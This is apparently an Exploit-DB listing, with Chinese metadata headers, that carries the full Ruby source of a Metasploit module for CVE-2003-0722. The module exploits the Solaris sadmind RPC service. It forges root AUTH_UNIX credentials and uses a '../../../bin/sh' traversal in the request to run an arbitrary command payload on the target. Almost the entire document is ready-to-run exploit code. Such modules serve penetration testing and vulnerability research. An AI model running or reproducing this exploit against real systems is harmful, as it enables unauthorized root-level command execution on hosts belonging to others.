标题: Solaris Sadmind - Command Execution (Metasploit) EDB-ID: 16324 CVE: 2003-0722 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-06-22 漏洞利用脚本: ##
# $Id: sadmind_exec.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::SunRPC

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Solaris sadmind Command Execution',
   'Description'    => %q{
     This exploit targets a weakness in the default security
    settings of the sadmind RPC application. This server is
    installed and enabled by default on most versions of the
    Solaris operating system.

    Vulnerable systems include solaris 2.7, 8, and 9
   },
   'Author'         => [ 'vlad902 <vlad902@gmail.com>', 'hdm', 'cazz' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9583 $',
   'References'     =>
    [
     ['CVE', '2003-0722'],
     ['OSVDB', '4585'],
     ['BID', '8615'],
     ['URL', 'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'],
    ],
   'Privileged'     => true,
   'Platform'       => ['unix', 'solaris'],
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'    => 2000,
     'BadChars' => "\x00",
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet',
      }
    },
   'Targets'        => [ ['Automatic', { }], ],
   'DisclosureDate' => 'Sep 13 2003',
   'DefaultTarget' => 0
  ))

  register_options(
   [
    OptString.new('HOSTNAME', [false, 'Remote hostname', nil]),
    OptInt.new('GID', [false, 'GID to emulate', 0]),
    OptInt.new('UID', [false, 'UID to emulate', 0])
   ], self.class
  )
 end

 def exploit
  sunrpc_create('udp', 100232, 10)
  sunrpc_authunix('localhost', datastore['UID'], datastore['GID'], [])

  if !datastore['HOSTNAME']
   print_status('attempting to determine hostname')
   response = sadmind_request(rand_text_alpha(rand(10) + 1), "true")

   if !response
    print_error('no response')
    return
   end

   match = /Security exception on host (.*)\.  USER/.match(response)
   if match
    hostname = match.captures[0]
    print_status("found hostname: #{hostname}")
   else
    print_error('unable to determine hostname')
    return
   end
  else
   hostname = datastore['HOSTNAME']
  end

  response = sadmind_request(hostname, payload.encoded)
  sunrpc_destroy

  if /Security exception on host/.match(response)
   print_error('exploit failed')
   return
  else
   print_status('exploit did not give us an error, this is good...')
   select(nil,nil,nil,1)
   handler
  end
 end

 def sadmind_request(host, command)
  header =
   XDR.encode(0) * 7 +
   XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10, \
    4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0, \
    host, 'system', '../../../bin/sh')

  body =
   do_int('ADM_FW_VERSION', 1) +
   do_string('ADM_LANG', 'C') +
   do_string('ADM_REQUESTID', '00009:000000000:0') +
   do_string('ADM_CLASS', 'system') +
   do_string('ADM_CLASS_VERS', '2.1') +
   do_string('ADM_METHOD', '../../../bin/sh') +
   do_string('ADM_HOST', host) +
   do_string('ADM_CLIENT_HOST', host) +
   do_string('ADM_CLIENT_DOMAIN', '') +
   do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
   do_int('ADM_FENCE', 0) +
   do_string('X', '-c') +
   do_string('Y', command) +
   XDR.encode('netmgt_endofargs')

  request = header + XDR.encode(header.length + body.length - 326) + body

  ret = sunrpc_call(1, request)
  return XDR.decode!(ret, Integer, Integer, String)[2]
 end

 def do_string(str1, str2)
  XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
 end

 def do_int(str, int)
  XDR.encode(str, 3, 4, int, 0, 0)
 end
end URL: https://www.exploit-db.com/exploits/16324